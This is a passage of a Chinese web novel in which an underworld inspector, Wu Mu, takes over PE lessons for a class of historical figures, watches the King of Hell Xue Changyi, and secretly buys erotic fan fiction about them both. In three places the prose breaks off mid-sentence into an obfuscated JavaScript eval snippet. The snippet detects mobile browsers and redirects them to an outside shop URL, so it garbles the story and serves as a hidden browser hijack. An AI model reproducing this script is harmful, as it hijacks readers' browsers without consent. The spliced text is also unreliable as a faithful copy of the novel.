“工作!快快,动起来,都去工作!” 一个个黑衣督察司鸟兽散尽,谁也不敢再拍一句马匹,灰溜溜夹着尾巴回到自己的工位上。 嘀—— 乌木走到司长专属办公室门前,刷卡,进入办公室。 嘭! 司长办公室大门关闭,隔绝了司使们探究且好奇的目光…… “哎,”有好奇的司使壮着胆子,低声咬耳朵:“这个乌部长,以前怎么没见过?” “他以前不是中央总厅的,从分部刚调过来没俩月。” “原来是个乡巴佬?” “嗬!可不敢这么说!”是吓得倒抽冷气的声音:“你可知晓乌部长的原身是什么?是三足金乌!” “‘十日并出,羿射九日’的那个三足金乌?怪不得刚一来就抓住了二殿阎王的把柄,把人家打下了欲忘台!” “二殿阎王厉大人,那可是咱们地府出了名的温柔和善,数阎王之中最亲和的就是他了,从来笑眯眯,脾气好的嘞!竟被他抓了把柄!” “嘘,小点声儿,背后议论新来的部长,你不要命了?我听说……这个乌木,就是冲着咱们中央总厅,第一督察司部长的职位来的,势在必得!” “为啥?办公室风水好?” “想知道?你自己去问乌部长啊!” “切,那冷冰冰的模样,哪里看得出来是金乌啊,我可不敢去……” 地府中央总厅·第一督察司·司长办公室中。 乌木环视了一圈办公室的陈设,宽阔是宽阔的,基调却无非是黑与白,典型的丧葬风格,倒是符合督察司“抄家灭门”的风格。 地府的公务员们总是戏称,督察司就是以前的锦衣卫——抄家灭门,杀人放火,穷凶极恶。 的确是这么回事。 踏踏…… 走到办公室落地窗之前,宽阔的落地窗,单面的玻璃,只能从里往外看去,视野辽阔,这里是地府中央总厅最高的建筑,最高的楼层,方便督察司监视地府每一位公务员的一举一动。 放眼看去,第十殿清晰无比,甚至可以望进第十殿的殿主办公室。 十殿阎王薛长仪正坐在办公室中,手中握着判官笔,应该是在签字合同。 一身黑色的对襟长袍,衬托着优雅高挑的身材,领口紧紧的束缚,禁欲感扑面而来。 倏然,薛长仪抬起头来,侧头看向玻璃窗,按照十殿阎王薛长仪敏锐的感官来说,他或许能感觉到有人紧紧的盯着他,但督察司长的玻璃是单面的,只有乌木可以看到他。 而薛长仪,根本看不到乌木。 乌木慢慢抬起手来,骨节分明的手指,宽阔的掌心,轻轻贴在单面玻璃的落地窗之上。 那样的动作,好像在千里之外,抚摸薛长仪的面颊,乌木冰冷的眼神犹如冬雪融化。 薄唇微微开启,吐露出一声沙哑的叹息:“……真好看。” * 地府一中,第九班。 嘭——! 项羽风风火火的冲进教室,呼呼喘着粗气:“妈呀,差点以为要迟到!” 杨广笑起来:“老项你不是总迟到,也不新鲜了。” 项羽不回答,只是瞪着刘邦:“你怎么也不叫我起床?是不是想让我迟到,故意看我笑话?” “阿羽,你冤枉哥哥了,”刘邦真诚的说:“我以前叫你起床,你总说迟到就迟到,后来我便不敢再打扰你燕歇了。” “哼!”项羽还是瞪他:“从今往后,我不会再迟到了。” “为何?”同学们追问。 “是啊,”刘邦也奇怪:“阿羽,你怎么突然转了性子?” 项羽挥挥手:“别叫我阿羽,恶心死了!” 还是回答说:“你们不觉得……其实薛老师的课,也挺有意思的吗?” “哪里有意思!” “项羽你真的吃蘑菇,产生幻觉了吗!” “是《我的爸爸》有意思,还是插秧有意思?难不成——是实践感想更有意思!” 项羽认真的想了想,说:“都有意思。” 说完还笑起来,似乎是在回味什么。 “学校的卫生老师聘上了吗?咱们班的项羽需要急救!” “楚霸王今日和太白一样,也是喝了才来的吧?” “没有两斤二锅头,老项怎么会说这般的胡话?” “说到实践感想,你们的作文写了吗?八、百、字!” 第九班全体学子:“……” “老师来了!”不知是谁大喊一声。 首先看到了薛长仪黑色的晴雨伞。现在是白日,日光的灵能远远比月光还要强烈,判官笔化成的黑伞,可以有效的保护薛长仪,不必过多的摄取灵能。 “同学们。”薛长仪走到讲台后面:“代班长把实践感想收一下。” 嬴政话不多:“好。” “哎等等,你先收别人,我还有五十个字!” “李白你写的这是楷书吗?哈哈哈,你竟然没写行草?这次每一个字我都认识。” “是在薛老师的谆谆教导之下,吕布将军您的文化水平提高了。” 吕布:“……”诗仙好像在骂人,但我找不到证据。 嬴政将作文全部收齐,放在讲台上。 薛长仪随手翻了翻,在全班同学忐忑的目光下,微微一笑,竟然露出了一抹温柔的笑意,并非冷笑,也不是假笑。 “很好,老师粗略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257692|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看,各位同学们的实践感想,完成度都不错。”薛长仪善解人意的说:“今日便不当众处刑了。” 杨广笑了:“老师,你也知道这是当众处刑啊?” 项羽纠正:“你懂什么,薛老师那是恨铁不成钢。” 第九班其他同学:“……”一夜之间,西楚霸王项羽,变成薛老师的毒唯了! 第九班的门外有人,一条黑色的人影站在外面,但没有立刻走进来。 是九班第一节课的授课老师。 薛长仪看了看千魔眼化成的腕表:“各位同学,新的课表已经排出来了,从这周开始,按照新课表上课,一会儿代班长把课表贴在墙上。” 嬴政言简意赅:“嗯。” 其他人好奇:“班长,周一第一节课上什么啊?” “对啊,第一节课上什么?” “我猜一定是语文!因为薛老师是咱们班主任。” “不不,我猜是数学!姜子牙一定又要突袭抽考了!” 嬴政看了一眼课表,表情头一次有些玩味。 “哥哥!”成蟜雀跃的说:“到底是什么课鸭~” 嬴政挑眉说:“体育。” “什么?” “体、体育?!” “周一第一节课竟然是体育?” 踏踏踏,是跫音。 站在门外的授课老师终于走了进来,一身黑色的西装,白色的衬衫,黑色的领带,套着合体的黑色马甲,身材挺拔,肌肉流畅,尤其是马甲之下的胸肌,简直是性冷感与性张力碰撞的结合。 ——是乌部长。 乌木扫视第九班:“各位同学,我是你们的代课体育老师,姓乌。” 项羽瞪眼:“这不是昨儿个欺负咱们薛老师的家伙吗,还真是体育老师?” 吕布冷笑:“体育老师?会骑射吗?百步穿杨否?上过战场,拿过人头没有?没有个常胜战神的名号,凭你也配做我们的体育老师?” 薛长仪整理好实践感想:“乌老师,那你上课吧,我不打扰了。” 他离开讲台,乌木错开身,让薛长仪先过。 项羽咋舌:“我看那个姓乌的就不顺眼,昨天还抓着咱们薛老师不放手,像个登徒子,今日唯恐避之不及,薛老师是什么病毒不成?” 啪—— 有东西从实践感想的作文纸中漏了出来,一下掉在地上,打断了项羽的抱怨。 是一个小册子。 因为有的同学交的是作文本,小册子夹在中间和作文本没什么两样,估计是谁交作业的时候混淆了进去。 “嗬!”李白倒抽了一口冷气。 “鸭?”成蟜眨巴大眼睛:“那不是李白哥哥最近在看的小说嘛?” 小册子掉在地上,正好书面扣在地上,腰封却摔了下来。 腰封: 地府R1800+分级,年度销量TOP1! 连续200年,销冠霸榜王! 诗仙李太白重磅推荐,神秘又禁忌的恋情! 小册子掉在乌木脚边,乌木弯腰捡起,下意识看了一眼准备离开的薛长仪,微微挑眉,低沉略微沙哑的朗读着书名:“……《清冷阎王带球跑》。” 11. 最烫CP 清冷阎王…… 带球跑? “李白同学,”薛长仪蹙眉:“这是什么?” 李白干笑:“老师,这是话本……哦,小说啊!地府中央总厅畅销榜第一名!你没看过吗?” “如果老师想看,我可以借给老师,不过我不建议老师晚上阅读,因为一读起来根本放不下去,会直接熬通宵的!” “讲的是第十殿阎王,因为一夜情,意外怀孕的故事,虽狗血了一些,但读起来酣畅淋漓,令人欲罢不能!” 明明都是中文,竟是让薛长仪这个教授中文的代课班主任,毫无头绪…… 薛长仪板起嘴唇,殷红色的唇瓣微微下压,这个表情让李白后背发麻,如临大敌。 果然,就听薛长仪说了两个字:“没收。” 李白:“……” “老师!薛老师,再商量一下吧!” “这本小说已经脱销了,很难再买到的。” “尤其我这是珍藏版,腰封上还有我的力荐推荐词,薛老师……别没收啊——” 其他同学则是不屑,吕布说:“小说?有什么好看的,那些文字,看多了都想睡觉,不及真刀真枪的比试!” 他把方天画戟一横:“新来的体育老师,想要给我们上课,需得先过我吕奉先这一关!” 嘭!! 方天画戟戳在地上,教室的地砖再次碎裂。 整个泮宫教学楼瞬间震颤起来,校长正好从外面巡视路过,跌跌撞撞跑进来:“怎么回事?地震了吗?吕布!又是你?你怎么又把管制刀具带进教室了!” 校长擦擦冷汗,低声说:“薛老师,您倒是管一管啊!这这……” 薛长仪的目光瞥向乌木,微微一笑:“祭酒您多虑了,我相信以乌老师的教学水平,教导第九班是没有问题的,我如果出手,岂不像是多管闲事?” “对么?”薛长仪询问乌木本人:“乌老师?” 乌木目光深沉的看着薛长仪,沉默了一瞬,冷漠的开口:“薛老师说得对。” 校长左右为难:“乌部长,第九班都是刺儿头啊!惹不起的老祖宗!薛大人总比您早来几天,有些经验,您还是请薛大人帮帮忙,不然——” 乌木打断了校长的话头:“不必了。” “这……这……”校长更是为难。 乌木走上讲台,薛长仪保持微笑:“校长,第一节课开始了,咱们便不要打扰乌老师给第九班上体育课了。” “唉——”校长深深叹气:“好吧!” 二人走出第九班的教室,顺着楼梯往泮宫楼下走去。 乌木一身黑色的笔挺西装,站在讲台之后,侧目看着薛长仪的背影,目光追随着,直到薛长仪转过楼梯,身影完全被遮蔽,什么也看不见了。 乌木幽幽的自言自语:“真好看。” “什么?”吕布没听清楚:“新来的,你说什么?” “来来!与我打一场!” “咱们分个高下!教体育还穿西装?我吕奉先顶看不上你们这些只会装模作样的衣冠禽兽了!” 项羽说:“是啊!想给我们上课,总要亮亮真本事吧?” 杨广很久都没有“煽动舆论”了,反正这会儿不是薛老师上课,煽动煽动也无妨,便凑热闹说:“乌老师,你不是怕了吧?大家切磋切磋,就当自我介绍了。” 成蟜托着腮帮子,看得津津有味,揪了揪嬴政的袖子:“哥哥哥哥!你说吕布哥哥与乌老师打起来,谁会赢?” 嬴政没说话,摸了摸成蟜的小脑袋。 刘邦微笑:“始皇陛下这回怎么不制止了?” 嬴政淡淡的说:“新来的老师,总要试试底细,不是么?” 乌木冰冷的目光横扫,将整个班级尽收眼底,突然走下讲台,踏出第九班教室。 “诶?”吕布愣住:“你去哪里?” 乌木惜字如金的说:“不是要比试?去演武场。” 泮宫的操场,也就是乌木口中的演武场。 泮宫临水,从泮宫教学楼出来,踏过长长的小桥,首先看到的便是地府一中的操场,外围是八百米一圈的跑道,一侧是篮球场,而另外一侧则是传说中的——演武场。 演武场设有擂台、箭靶、兵器架等等,和军营的配置一模一样。 咚!! 吕布将方天画戟一戳,站在演武场擂台正中间,豪气干云,不愧是一代战神。 “乌老师,怕了就直说,现在还来得及,登上了比试的擂台,便晚了!” 乌木将西装外套脱下来,手臂微微舒展,藏在衬衫下面的肌肉张弛有力,随手将外套扔在一边,一颗扣子一颗扣子解开马甲,又是扔在一边,最后单手扯下领带。 乌木活动了活动脖颈:“比武就算了,我可以与你比比骑射。” “哈哈哈!!”吕布仰天大笑:“骑射?新来的老师,你竟然要与我吕奉先比试骑射?真是……不、自、量、力!” “薛老师?”演武场外,校长躲在一棵大树之后,惊讶的巧遇了薛长仪:“您怎么也在这里?” 校长担忧的说:“也是担心乌部长吧?这些第九班的老祖宗,太淘了!您说说,乌部长可是中央总体督察司的司长大人,万一有个三长两短,我可怎么交代啊!督察司再查到我头上,这……这……” “担心?”薛长仪轻念了一声。 并非担心,薛长仪总觉得,乌部长跑来地府一中代课体育,不那么简单,背后似乎藏着什么…… 嗖——嘭!! 吕布大笑三声,手腕一扬,方天画戟掷出,一声巨响,戟头正好插在校长藏身的树干上,树干碎裂,发出咔嚓咔嚓的响声,迸溅起来的树皮冷冷的拍打在校长的脸上…… 校长:“……” 吕布并没注意有人偷看,帅气的甩出方天画戟,一个翻身,跃上一匹白马的马背,一手抓住缰绳,兜起靠在角落的弓箭。 勒转马头,开弓—— 铮!! 完全没有任何停留,拉满弓,无需瞄准。 哆! 正中红心。 项羽忍不住感叹:“好箭法!” 吕布昂着下巴,坐在马背之上,居高临下的看着乌木:“新来的老师,如何?你现在与我求饶,还来得及,也不算太……”丢人。 乌木的眼神根本没有落在吕布身上,目光一转,准确的扫过薛长仪与校长的藏身之处。 一言不发,突然迈开大长腿向前冲去,似乎是在助跑,“踏!”一声踢在旁边的树干之上,借力一跃而起。 乌木竟然落在了一匹没有马鞍马辔头的黑马之上,他甚至不去抓鬃毛,双手开弓。 劲弓长满,犹如半月。 铮—— 铮铮! 三箭连珠。 又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257693|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哆哆哆!”三声,三箭前后击中靶心。 成蟜瞪大眼睛,指着箭靶:“哥哥哥哥!你快看,乌老师射了三箭,只有一箭中把,看来是吕布哥哥赢啦!” 分明刚才是三声中靶的声音,但箭靶之上,只有一箭正中红心。 嬴政突然笑起来,摸着成蟜的小脑袋,说:“蟜儿,你再仔细看看。” “唔?”成蟜迷茫,看不懂。 嬴政好心解释:“乌老师的第一箭射中了靶心,第二箭射在同样的位置,分毫不差,劈开了第一箭,第三箭又射在了第二箭的位置,劈开了第二箭。” 怪不得箭靶上只有一根箭。 哪里是一根箭,分明是三根箭套在一起! “哦——”小成蟜为难起来:“那到底是吕布哥哥赢了,还是乌老师赢了?” “你……”吕布瞪着眼睛,瞠目结舌,活脱脱一个震惊到露出眼白的大哈士奇。 乌木淡淡的说:“如此,可配教你们体育?” 啪啪啪!! 李白使劲鼓掌,毫不吝惜的赞美:“翩然如惊鸿,凌厉而不缺空灵之美!乌老师,刚才骑射的功夫,能教我们吗?” 乌木没说话,微微颔首。 “太好了!”李白兴奋的说:“乌老师,咱们现在开始上课吧!” 吕布瞪眼:“你这李太白,这么快便叛变了?” 李白微笑:“上节体育课而已,怎么能算叛变呢?” “呼——”藏在树后的校长狠狠松了一口气:“还是乌部长厉害,这算是化险为夷?我这个祭酒的晚节,再一次保住了!” 校长擦擦汗,虚弱的说:“薛老师,我先回去了。” 薛长仪点头,并没有立刻离开,而是若有所思的看向乌木,乌部长的样子,怎么看也不像是一个单纯的体育老师。 叮铃铃—— 第一节下课铃打响,体育课结束,第九班的同学纷纷离开操场,往泮宫教学楼而去,准备下一节课的课本。 “李白同学。”乌木开口。 李白立刻驻足:“乌老师,你找我有事?” “咳……”乌木稍微清了清嗓子,这个空当其他同学已经完全离开了操场,全部走远。 乌木终于再次开口:“早读那本小说……” “小说?”李白恍然:“哦,乌老师是说那本《清冷阎王带球跑》,怎么了?” 乌木还是一脸面无表情,冷酷而又不近人情,深沉的说:“在哪里买的?” 李白:“……” 李白足足愣了半分钟,这才回答:“八班那个刘备,除了天天串班兜售草鞋,也会卖一些畅销话本,不过这本小说已经脱销了,刘备那里应该也没有囤货。” 乌木没说话,犹如寒潭的眼神微微波动了一下,似乎、隐约、好像闪过一丝不易察觉的失望。 “不过!”李白还有后话:“老师你也喜欢读话本?我这里还有一本……” 李白变戏法一般从怀里掏出一本小册子,口袋大小,方便携带,神神秘秘的凑到乌木眼前。 腰封: 地府论坛最烫CP改编! 一年销量1000000000000000…册,绕地球100圈! 冷酷司使VS美艳阎王 相爱相杀!宿敌?宿敌就是要上床的! 书名: 《清冷阎王怀了死对头的崽》 12. 清冷阎王带球又跑回来了 #地府中央总厅论坛·交流区# 【灌水】地府最烫CP热门评选中!!HOT~~回复:4444444 【灌水】啊啊啊啊我的CP同框了!HOT~~回复:10086 主楼:高举冷酷督察X美貌阎王的CP大旗!!我的CP同框了!距离结芬,就差一个伯伯!!谁懂?谁懂? NO.1:伯伯?为啥结婚还差一个伯伯?难道是指腹为婚?包办婚姻?地府中央总厅现在还流行这种封建糟粕? NO.2:哈哈哈哈!是啵啵吧? NO.3:宿敌?宿敌就是要成为妻子! NO.10086:隔壁投票已经出结果了!恭喜今年的地府最烫CP诞生,连续霸榜500年,CP界的常青树! “乌老师,”李白神神秘秘的压低声音:“这本《清冷阎王怀了死对头的崽》,是今早被薛老师没收那本的前传,你别看只是前传,同样是R1800+分级,尤其是——咳,很多,你懂吧?” 乌木挑眉。 “那个啊!”李白更是神神秘秘,一直暗示,奈何乌木似乎并不懂,只好做贼一般说:“肉——肉啊!很多!很多很多!你懂了吧?” 乌木平静犹如止水的眼神中,终于露出了一丝不易察觉的恍然。 李白拿出手机:“老师你看,这本是根据地府最烫CP改编的,地府论坛的投票帖子还在这儿呢,这个CP在咱们地府中央总厅,很火爆!” 乌木挑眉:“很火爆?” “对啊!”李白信誓旦旦:“乌老师你从来不逛论坛吗?每天都有很多人讨论督察X阎王的CP,这对CP的各种话本、同人漫、还有吧唧……” 李白顿了顿,怕乌木听不懂,贴心的解释说:“吧唧就是……周边,乌老师,周边你懂吧?徽章,可以别在包上,扎痛包的那种。” “扎痛包?” “扎痛包就是——”李白还没解释清楚什么叫“吧唧”,现在有多出一个“痛包”,干脆说:“怎么解释呢?算了,我下次帮乌老师扎一个痛包,你就知道了。” 乌木点点头。 李白奇怪说:“乌老师,咱们地府中央总厅的论坛,很好逛的,你平时都不看吗?” 乌木淡定的说:“平时比较忙。” 李白:“……”一个体育老师,忙着备课吗? “总之!”李白热情的说:“这本也很好看,我可以借给乌老师你看。” 乌木看起来冷冰冰,但并没有拒绝,点点头。 李白又说:“至于那本《清冷阎王带球跑》,我得再去问问刘备。” 乌木的脸上是一成不变的冷漠,说:“劳烦你了。” “没事没事!”李白说:“这些都是小事儿,乌老师肯教我们三箭连珠,更辛苦……啊对了,加个微信吧,如果刘备还有囤货,我随时嘀嘀乌老师,还有……我这里有个书友群,还有个CP群,乌老师要不要加进来,随时交流心得。” “书友……群?”乌木皱眉,这是除了抄家检举之外,他不熟悉的领域。 李白耐心的说:“群里都是喜欢看这两本书的粉丝,偶尔会写一些同人小说,画一些同人图,还有那个CP群,如果周边上新,群里也会第一时间通知,大家拼车拼团。” 乌木化身为一个冰冷冷的“十万个为什么”,再次抛出疑问:“拼车拼团?” 李白挠了挠后脑勺:“总之先加微信,然后加群,之后我再详细的和乌老师你说!” 乌木点头,没有废话:“好。” “我扫你。” 嘀—— “好了!”李白笑起来:“加上了!乌老师我跟你说……” 李白的话还没说完,突然卡顿:“薛老师!” 薛长仪迎面走过来,其实他观察乌木和李白很久了,一直远远的看着,已经下了体育课,其他同学都回了泮宫教学楼,唯独李白留下来,二人不知在说什么,看起来…… 鬼鬼祟祟。 薛长仪走过去,李白立刻背起手,把小说藏起来,把手机收起来。 乌木竟做了同款动作,同样把手机收起来。 薛长仪挑眉:“李白同学,马上打上课铃了,怎么还不回教室?” “马上回去,正要走呢!”李白连连点头:“乌老师,我先走了!” 一溜烟儿,李白冲着泮宫的小桥跑过去,咚咚咚一连串的足音,快速登上泮宫的楼梯,还不忘了对乌木比了一个“六”,其实是手机联系的意思。 薛长仪皮笑肉不笑:“乌部长,短短一节课,就和我们班的学生打成一片了?” 打成一片? 的确,是“打”成一片。 乌木点点头:“算是吧。” 薛长仪又说:“不知道乌部长,单独留下李白,是有什么事情吗?” 乌木看了一眼薛长仪,说:“私事。” 乌木口中的私事,真的是私事,可薛长仪并不相信。 一个督察司司长,调配到中央总厅没两个月,快速晋升部长的工作狂,能有什么私事? 但乌木不与他多说:“薛老师,如果没有别的事情,我先回宿舍备课了。” 薛长仪后面还有语文课,不能耽误,看着乌木离开的背影,若有所思的眯起眼目。 一天的课程结束,看着第九班乖乖上完晚自习,薛长仪结束了工作,回到路宫教工宿舍。 吱呀—— 推开444宿舍大门,乌木就在里面。 还是那样一身黑白分明的西装,叠着腿,乌木坐在书桌前,正翻看着一本包着《地府中小学生体育与健康手册》书皮的小册子。 ——“不要……” ——美艳的阎王剥去清冷的外衣,哪里还有往日坐镇第十殿,高不可攀的威严模样,只能化为绕指柔,柔软纤细的双臂,无助的勾住宿敌的脖颈,隐忍的哭咽…… ——“轻一些,会怀孕的……” 嘭! 推门声音,伴随着乌木将《地府中小学生体育与健康》手册掉在地上的声音。 薛长仪顺手想要捡起,乌木的动作更快,迅捷如风,矫健如鹰,啪一声抓住平摊在地上的小册子,紧紧合上,避免薛长仪看到“教材”里的内容。 薛长仪狐疑,奇怪的看了一眼乌木。 “多谢,”乌木说:“我自己捡就可以。” 嗡—— 嗡嗡嗡—— 放在桌上的手机震动了好几下,薛长仪指了指:“乌老师,你的手机响了,督察司果然很忙。” 并非是督察司的电话,也不是短信。 而是CP交流群的消息,乌木第一次加微信群,也不会设置免打扰,因此只要有人发消息,手机必然震动,且这个交流群意外火热。 嗡!嗡嗡嗡—— ——快看!我发现了什么!新开团的等身抱枕! ——阎王爷等身抱枕!可以抱着睡觉的那种!其中还有一面是……全L的!! 全L的?乌木奇怪,群里很多词汇和代名词,他都看不懂。 ——OMG!!全!裸!的!那还不买爆!! ——我要买两个,家里放一个,学校放一个! ——快快,444人就成团,否则流团了,这么美的抱枕,千万别流团! ——好家伙!谁啊,一口气买了40个??? 乌木手指一动,点了链接,进入地府快团团,火速下单成功,微微松出口气。 嗡—— 手机再次震动,这次不是群聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257694|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是私聊。 李白:乌老师!我和刘备打听了,他那里刚好还有一本囤货,但不是珍藏版。 乌木:没关系,我都要。 李白:刘备说了,他就在学宫附近,十分钟后泮宫操场见面,可以吗? 乌木:可以。 李白:好嘟好嘟! 乌木关闭微信,站起身准备出发。 “乌部长?”薛长仪挑眉:“这么晚了,还要出门?” 乌木点点头。 薛长仪问:“工作上的事情?” 并非,是去买书。 乌木冰冷的眼眸微微晃动,再次点头。 薛长仪微笑,像是在调侃,但又不像:“这么晚了,督察司还有工作,白天还要教导第九班,乌部长真是辛苦。” 乌木淡淡的说:“还好。” 起身离开444宿舍,咔嚓—— 带上门。 薛长仪瞬间站起,跨步来到窗口,隔了约莫半分钟,果然看到了乌木的身影,黑色的西装,潜藏在黑色的夜幕之中。 乌木没有离开学宫,是往泮宫的操场方向而去。 薛长仪同样推开宿舍大门,跻身走出去,快速下楼,同样往泮宫操场而去。 黑压压的天幕,操场上空荡荡,两条人影站在那里。 一条乌部长,另外一条稍微有些眼生。 薛长仪距离不近,听不到二人说话,毕竟乌木是个练家子,修为不低,如果贸然走近,乌木一定会第一时间发现。 二人短暂的碰头,乌木从对方手里拿了什么,转身离开。 薛长仪快速藏在树后,避免被乌木发现,等乌木走远,回头看了一眼与他接头的“黑影”,薛长仪阔步拦住对方。 “诶?”对方吃惊:“薛老师?” 薛长仪蹙眉,他认识自己?远看有些面生,但近看又有些眼熟。 周日课外实践活动插秧之时,第九班被稷下学宫其他班的学生围观,这人也在其中,甚至还趁着围观热闹,在一旁兜售草鞋…… “刘备?”薛长仪更是狐疑。 与乌木偷偷见面的人,并非是督察司的人,而是隔壁八班的学子刘备? “薛老师,这么晚了,怎么还不歇息啊?”刘备微笑。 薛长仪说:“刘备同学你呢?这么晚了,又是寒假期间,来学宫做什么?” “这个……”刘备为难。 薛长仪直截了当:“刚才那个是乌老师吧?他找你做什么?” “这个……”刘备还是为难:“顾客的隐私问题,我实在不好出卖。” “顾客?”薛长仪奇怪。 刘备点点头:“乌老师来找我买东西。” “买什么?”薛长仪问。 刘备缄口不言,很有原则。 薛长仪没有再追问,而是说:“既然如此,我也向你买东西,和乌老师买同样的东西。” 刘备笑起来:“这没问题!也不算是出卖顾客隐私,不过……” “不过?” 刘备为难:“刚才乌老师买走的,是最后一本了……要不然,薛老师您看看这本,这是刚才那本的同人志,描写也很香艳!” 刘备献宝一般推销,神神秘秘捧到薛长仪面前。 是一本书。 ——《清冷阎王带球又跑回来了》 薛长仪:“……” * 乌木买下了《清冷阎王带球跑》的孤本,回宿舍的路上,又在微信群里下单了吧唧和痛包。 嗡—— 刚要推开444宿舍门,手机再次震动。 这次并非聊天群,而是一串没有保存的陌生号码,乌木的眼神瞬间阴沉了下来。 ——薛长仪可有异动? 13. 喜欢穿裙子的男孩子 ——薛长仪可有异动? 乌木紧了紧手机,面色深沉阴霾,在进入路宫宿舍之前,改变了方向,向漆黑的夜色中走去…… * 如果薛长仪没有记错,他白日在早读结束之时没收了一本《清冷阎王带球跑》,现在小说的名字都如此直白了吗? 清冷阎王……带球又跑回来了? “这是何物?”薛长仪狐疑,身为第十殿阎王,纵使天崩地裂都面不改色,而此时此刻,薛长仪竟不敢伸手去接那本小册子。 烫手…… 刘备好心解释:“同人本,刚才乌老师买走的那本小说的同人本,虽然是同人,但一样好看!而且特别甜,薛老师,信我。” 薛长仪眼眸微微波动,将刘备的说辞消化干净,刚才——乌木买走的,是一本小说。 督察司乌部长,半夜三更和“神秘人”碰头,竟然是为了偷偷摸摸买小说? 薛长仪追问:“乌老师还买了什么?” 刘备说:“没有了,不过……” “不过?”薛长仪抓住了重点,这可能是一个重要的突破口。 刘备压低声音,很神秘的说:“不过乌老师说了,以后还有这个类型的小说,给他留一本,随时联系。” 薛长仪:“……”重要的……突破口? 忍不住抬手揉了揉额角,薛长仪脑袋钝疼,“被迫”将那本《清冷阎王带球又跑回来了》买下,微微沉思,还是将同人志小说夹在自己的对襟长衫之下,以免被人看到,匆匆往路宫宿舍楼而去。 444宿舍空无一人,和薛长仪离开之时一模一样,乌木分明离开了操场,但是看样子没有立刻回宿舍,而是去了别的地方。 拉开宿舍的抽屉,薛长仪将那本同人志小说放在柜子里,白皙纤细的指尖一顿,又把小说拿出来,放在第二层抽屉里。 ——第二层抽屉带锁,咔嚓!上锁。 薛长仪刚做完这些,乌木便回来了。 “乌部长果然是大忙人,”薛长仪故意试探:“这么晚了,还有事情要忙?” 乌木看了一眼薛长仪,没有回答,而是说:“薛老师不用洗手间的话,我去洗澡。” 他拿着自己换洗衣服走进洗手间,关上门,隔绝了薛长仪的目光。 薛长仪微微抿唇,发出啧的一声。 “老大!老大!” 第二天中午午休,豹尾和鱼鳃等在泮宫教学楼门口,豹尾热情的挥手:“老大!一起去吃午饭啊!” “听说今天食堂有糖醋里脊!” “小鱼你不是最喜欢糖醋里脊吗?” 鱼鳃稳重许多,点点头,规规矩矩的说:“老大。” 三个人往食堂的方向走,第九班上午最后一节课正好是体育,下课铃声伴随着一阵欢呼,第九班的学子仿佛脱缰的野马,一个个争先恐后冲向食堂。 “那不是乌部长吗?”豹尾撇了撇嘴巴:“都是因为他啊,说好了咱们一起来学校代课,老大你是语文老师,小鱼是生物老师,我是体育老师,现在好了,姓乌的临时插了一脚,他成体育老师了,我天天无所事事,和看大门的大爷聊天。” 豹尾又说:“督察司不是大忙人吗?一个个忙得脚不沾地,督察司的司长部长,竟然跑到学校里来做体育老师,怎么看都可疑!” 薛长仪挑眉:“连你也觉得可疑?” “怎么?”豹尾来了精神:“老大你的意思是……你也觉得姓乌的可以?真是英雄所见略同啊!” 鱼鳃忍不住翻了一个白眼。 薛长仪说:“你们二人平日里,盯着他一些,看看督察司,或者是乌部长,到底要做什么。” “好!”豹尾干劲十足:“老大你放心吧!我早就看督察司不顺眼了,一定紧紧盯着他!” 鱼鳃稳重的说:“是,老大。” 三个人进了食堂,乌木正好也走入食堂,大家打了一个照面。 豹尾眼睛朝天,重重的翻一个白眼儿。 不赖豹尾对乌木有敌意,谁让督察司就是为了监察冥府十殿而设立的呢?再加上这位新上任的乌部长,亲自检举了第二殿阎王,也就是薛长仪的结拜二哥,二殿主可是阎王中的大善人,亲和温柔,哪个殿的鬼差不喜欢他?不尊重他?乌木这是犯了十殿鬼差的众怒,豹尾自然看他不上。 “鸭——今天有糖醋里脊!哥哥哥哥,蟜蟜要次糖醋里脊!” “这么甜,看着就倒牙,先给朕上一盘水晶玉脍开开胃……什么?没有玉脍?” “大婶儿,来二斤米饭!” 第九班的学子乌央乌央涌进来,薛长仪微微蹙眉,他不喜欢拥挤,更不喜欢被人触碰。 “老大,小心啊!”豹尾刚要出手护着薛长仪。 有人先他一步,用高大的身体拦在薛长仪面前,巧妙的隔开那些涌进来的学子。 是乌木。 薛长仪微微抬头,正好看到乌木的侧脸,他沉着脸,压着唇角,紧紧锁着眉,显然也不喜欢旁人的触碰,与多余的身体接触。 但乌木还是拦在薛长仪的面前。 学子涌进来直奔食堂窗口,从他们身边经过没有停留,很快散去。 乌木等学子散开,并不看薛长仪一眼,似乎不是特意护着他,迈开大步也冲着食堂窗口而去。 “这个姓乌的!”豹尾瞪着乌木的背影:“他刚才距离老大那么近,差点撞到老大!” 鱼鳃:“……” 